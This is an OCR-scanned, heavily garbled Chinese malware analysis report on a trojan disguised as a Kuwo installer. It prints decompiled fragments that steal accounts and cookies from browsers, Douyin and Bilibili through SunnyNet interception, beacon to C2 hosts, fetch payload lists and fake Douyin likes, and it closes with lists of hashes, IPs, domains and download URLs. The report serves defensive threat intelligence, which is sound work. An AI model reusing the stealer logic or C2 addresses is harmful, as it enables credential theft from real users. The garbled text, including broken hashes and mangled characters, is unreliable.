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RELK RiskWare/Win32. FlyStudio. a

R 36 X4 kuwo. exe

MD5 F57E174F236F5B2B5E5ADB15AD0IEDAA
ﬁtﬂ%%ﬁ x86
XA AN 7. 15MB (7, 503, 872 F 1)
XA BinExecute/Microsoft. EXE [: X86]
B ] 2 2025-07-1323: 42: 48

G x

i KA x

REEE MicrosoftVisualC /C++
/+ LEERMER +/
kernelEQ.CreateThread{u;l:aﬂ_baee_inf:rma:i:t,J,D,&l::al_il,&};
local 10 = 0;

/+ BIERH -/
kernel3Z.CreateThread(self update, 0,0, &local 10,0);
local 10 = 0;

B /v RIRE
kerneliZ . CreateThread(bot ,raffi:,&,D,&l::al_ii,&};
(*(code *) (*SunnyNetOb])->CreateSunnyNet) () ;

[ ms v
steal account();
do |

wait loop (0x3e<,0,1,1,1);
} while({ tru=s );

&l 1 R 2 ERE
1. BT REALEMTES
GHATSESWERFIDE (userid) , MACHWFIRGRA=/MEE. , lE/A_LEZIC2/R .

local __[ 1] = os_vers 10

s version = ﬁ{jK*Ej]ﬂ{ ————— ://t]j.gedata.io:81/tongji2.phpfuserid=",userid, "&mac=YX ",mac,
"kos= ‘,:E_'-.'%rs:i.::'.,"&ver=.}?15"}l;

if (local 1c[4] != 0) {

IEI 2 l‘l&%/ \—Jbﬁﬁﬂj’r j*_t{-g
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K3 Bl FIDME (userid) . MACHBLE, HRIERGRAEE

ZEEA B [B{E4E4E Ahttp: /45,42 /tongji2.php?userid=XXX&mac=XXX&os=XXX , macFlosfHI{EH 5!
AR P EHKMACHIIAMIRIERGIRAEE . BA S 9MIR MK TEIFTR.

+ Hypertext Transfer Protocol
GET /tongji.php?os=6.1.7681&userid=xtt0008mac=000(2910484A8ver=Axiezai=08wb=8az=-108uid= HTTP/1.1\r\n
Accept: */*\r\n
Accept-Encoding: gzip, deflate\r\n
User-Agent: Mozilla/4.@ (compatible; MSIE 7.8; Windows NT 6.1; WOW64; Trident/4.8; SLCC2; .NET CLR 2.8.50727; .NET CLR 3.5.30729;
Host: tj.2345ae.com\r\n
Connection: Keep-Alive\r\n
\r\n

[Full reguest URI: |http://ti.2345ae.com/tongii.phplos=6.1.76@18userid=xtt0084nac=000C2910484A%ver-axiezai~08ub=8az=-108uid=] |
[HTTP request 1/1] S

4 _EREENBER
2.8 KEM

EERFIAIED |, A2 Mhttp://192.151.151[.]43/images/xiao/imageslist.txtd FEN 5 HAL & 3T
4, FF AT B TS R,

2

e
|

= (int *) AR ("hetp: ://192.151.151.43/images/", xia0, "/imageslist.txt");

(int *)0x0;

&5 kuwoikEX & #1513k
R EER

T— RBUREZIET , HAFBC2A X NE I A P EEE B ST RIE A XEK |, SSNASRHER.
R SEUE R BEHIThEE.
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local €8 = "https://www.douyin.com/aweme/vl/web/commit/item/digg/?";
if (local 14 != (char *)0=x0) {

FErATF (local 14);

1

local 14 = local €8;

local €8 = "&msToken=";

local €8 = (char *}jz¢qﬂﬂﬂ("dev1ce_platf3rm =webapp&aid=6383&channel=channel pc web&pc client typ

=l&épc_libra divert=Windowsé&update version code=170400&support_h2&5=l&support_dash=l&version cod
T0400&version name=17.4.0&kcookie_enabled=truc&screen width=1920&screen_height=1080&browser_lang
e=zh-CN&browser platform=Win32&browser nams=Chrome&browser version=137.0.0.0&browser onlins=tru
ngine name=Blink&engine wversion=137.0.0.0&os name=Windows&os version=l0&cpu core num=20&device
ory=8&platform=PCidownlink=10&effective_type=4géround trip time=150&webid="

local 8, "&uifid=",local_c);

&6 MIEVE KA
RIREDNREIRIT I TISHIASCIL,

https://v.douyin.com/

Location

fshare/

Mozilla/5.0 (Windows NT 10.0; Win64; x64) BAppleWebKit/537.36 (EHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
https://www.douyin. com/aweme /vl /web/commit/item/digg/?

&msToken=

gnifid=

device platform=webappfaid=6383ichannel=channel pc webipc client type=lipc libra divert=Windowsgupdate version code=170400&isup
port_h265=l&support_dash=l&version code=170400&version name=17.4.0&cookie enabled=true&screen width=1320&screen height=1080&br
owser language=zh-CHNibrowser platform=Win32ibrowser name= Chrome&hrowser_v3131on—137 0.0.0&browser_ online=trueiengine name=Blin
ksengine version=137.0.0.0&os_name=Windows&os version=10&cpu core_ num=20idevice memory=8iplatform=PC&downlink=10geffective_tyvp
e=4giround trip time=150iwebid=

Ahccept-Language: zh-CH,zh;g=0.9,en;g=0.8,en-GB;g=0.7,en-US;g=0.6&

RContent-Length: 47

Host: www.douyin.com

Referer: https://www.douyin,.con/video/

bd-ticket-guard-iteration-version: 1

bd-ticket-guard-version: 2

bd-ticket-guard-web-sign-type: 1

bd-ticket-guard-web-version: 2

E7 RIiRERAR
4 IR E AR BRI S
AT KIS EE , HEARSEFU TN ERLEFRMERE.

.rdata:200CE334 0000000E C mzedge. exe
.rdata; Z00CE3SF Q0a0a00E C chrome, exe
.rdata: 200CE394 0000000E C 360chrome. exe

.rdata:Z00CE3AG Q0000008 C J60z=e. exe

QOB

.rdata 200CE3CO Qoo0a01z C SogmmExplorer. exe
.rdata: 200CE3DZ ooaoonll C 234BExplorer. exe
.rdata:200CE3E3 0000000F C 360chromel. exe
.rdata:200CE3F2 0000ao00E C UCErowser. exe
.rdata:200CE40D Qoaogoon C bilibili. exe
.rdata:Z00CE414 0000000E C douyin. exe
. .rdata 200CE4Z5 Q0000010 C douyin_tray. exe
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HIF RN R AL | FIFRAT,

R2 N EE R APPFIER

msedge. exe i Edge | % 2%
chrome. exe AR Y2
360chrome. exe | 360 L4 W W25 (LMK )
360chromeX. exe 360 & #E % W, 23
360se. exe 360 % 2w bi g (IHIR)
QQBrowser. exe QQ | i #
UCBrowser. exe UC *| %58 (AR )
SogouExplorer. exe 1% 4 ) BT 28
2345Explorer. exe 2345 | b &
bilibili. exe Pife v ke VA il
douyin. exe F &
douyin-_tray. exe FF &

FIEFHRERIE , BASKNURLFT ZEHFESHEE . FEEE (Buh) FM/NMIHMEE (35
&) MRHKET , RENEKRPEEETEREIE. MREFEBRNEREE  HASWER

FAERH LEZEC2 (gzdataio) , SKHINMSE N AR FIKSHE (87) B
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/+ MURLHIEME S FHELilibi i FET
BLEEREGS . ITE v
local 24 = (undefined *)
EAREE o
(4,puvar4,0, 0x80000004, "bilikbili"™, 0, 0xB80000004,0,0,0,0,0,0x80000002) ;
if (local 24 != (undefined *)0xffffefff) |
local 20 = local 8;
/¥ FEBlcockie

SunnyNet.GetRequestALLCookie */

iVaré = (**(code **) (*(int *)*local 8 + 0x58))();
if (local_14 != 0} {
local 24 = (undefined *)iVaré;

BT (local 14);

ocal 20 (undefinsd4 *)0x0;
ocal 24 = (undefined *)0x0;
ocal 28 = &DAT_ 200cddd3;

/v 13 cookie */

local 2c = "DedeUserID=";

e

local 14 = iVarg;
s

ivare = HWMEEFEH Fcookie(&local 14, &local 2c,&local 28,0,0,0,0);

& 9 WERF R EFAERERESR

5 AR IR AT

AR RIEAR BB S LR B KA RIEHAE , FIRTATIREK RIS EIT A,
(1) ELEERFHE—2

SHEARTHTIAE AT | $ XA AR ELE(S Ehttp[:)/t].ddd222 xyz/tongji[. ]ohp?0s={SS}&userid=
{SH}&mac={MC}&ver=&xiezai=0&wb=&az={IST}&uid= , [E{¥F PEIRIER S5 E X MACHELE |, X
[EhEEESH R IR HARBREE 3.
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B AMERBRURREIR , ERLHE , BRANENEFRK , TERZNEHE
(1) BEEAMAS—XM, THIERK. WICE TR IERRERIESETTE , TEa

i A R s R A TI RIS AFHASH,

(2) REAMTIRARARMNITGEE , FRIKIRRFRLT.

(3) RELIGMHFRM , I T2ERE,

(4) ERKRSHENERIE , EHHREKRS REER,

f. #kloC

MD5 :
CEA099385295ED01D6337693B24B1562
607320607A7A9852217693461B824894
35EC910BF6CE60CFE2CDC5500B8AB65D
F5B8D8D57D6E6CE65F117CB76075A9FB
FCFF762A38D7F42CDD296E54C97FCA61
14CDE53D7866D296DBBSFAFA273493E2
728BC25AD97316B9698331571F6C2ACE
5C5DBB9IBC92026B9D5928591284F5D5A
8F18F4E9CF28CBA8F1CF2286D3695A8C
17BF4AESF1CEDD7057F29FBAB982EDE7
1BADDB6EE23AAC3C383827C861085BA5
050E2DB554D28C3A1F587D5C4BD7DC5A
AED34B2E7D790C0154D95AE9C453FE44
E8B22F223164052AD9561D18CC72F1DF
4E38A068356D6046DE643B1B7E083DE9
2AA564826E9B747589BADE76B30DIEES

B47EDBAAAFAOE9436B6FE70620B3483B
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734BBA87B85303232E1B1A6F70202169

AGE2A144275B25B3F423A7570531B812

A3DB261C3C978859587CF515851BCF20

40FEC41652EDBC3C9ESEAG6617C1775FF

7D32CCO9ABAEF0469F6E52E761CEGC980

7TF19B44BC7F127579FB7E3C079098138

96C757787B39BFB01D98CDD991B435BB

390B72A2C32989F19FF5F84CBC196AA7

8AOE822E7A0846B6C17D2AA002625CAA

B47562B44F29F23E2B92B9FF4C72F2C8

B90594681D08476A7BCEEB9D14588F6F

FS57E174F236F5B2B5ESADB15AD01EDAA

1FFAF3A1A2CEOCFC348F6FFCA9478824

D7102A2CA10AFB2A3C3BF10F3980E56C

4CA425B34527EE05304D9BDCF995CD16

0867C7B84FDCAF6D3E935F31892C1BD1

7DBBEA061465B9C1019C7D541429EE43

1A13D219583EB7E154EC345C15CC9OF82

825C7F9EG69BF2D908C495D7C172E1F4D

90D46129ABA4286E35F3D90830158D9E

A4FFO6A0A6CD48149997062EF988BF4C

966396D9BF9D0208030F28C198F34E5F

2BD129ED8569A55E142621846F9023F0

BA16DF6A5A40C262A1A51E43515167EB
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28F64AAEBB2F204FEDE7AEQ9EB1CB11D

P :

192.151.151[.]43

192.151.151[.]46

103.150.10[.]133

112.121.168[.]138

63.141.251[.]188

DOMAIN :

tj.ddd222[.]xyz

yun.ddd222[.]xyz

tj.gzdata[.]io

dwav.cose[.]space

dn.luckyfilebox[.Jcom

aqllg.zuitie[.]Jcn

pcxz.zhaocai123[.]cn

aqllg.njjhykj[.Jcom

ecodir.xtione[.Jcom

URL :
http[:]//192.151.151.43/images/ccc111/black2.jpg
http[:]//192.151.151.43/images/ccc111/douyin.jpg
http[:]//192.151.151.43/images/ccc111/imageslist.txt
http[:]//192.151.151.46/download/condll.exe
http[:]//192.151.151.46/images/condll/top.jpg

http[:]//192.151.151.46/images/condll/imageslist.txt
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http[:]//192.151.151.46/download/connhost.exe
http[:]//tj.gzdata.io/images/xiao/douyin.jpg

http[:]//tj.gzdata.io/images/ccc111/black2.jpg
http[:]//tj.gzdata.io/images/xiao/imageslist.txt

http[:]//dn.luckyfilebox.com/update.exe

http[:]/63.141.251.188/download/kuwo.exe

http[:]//63.141.251.188/images/tiktok.jpg
https[:]//ecodir.xtione.com/download/QQWubi_Setup_2119.exe
http[:]//ecodir.xtione.com/download/tencentmeeting_0300000000_3.29.11.430_57.exe
https[:]//ecodir.xtione.com/download/Sougoulnput_55.exe
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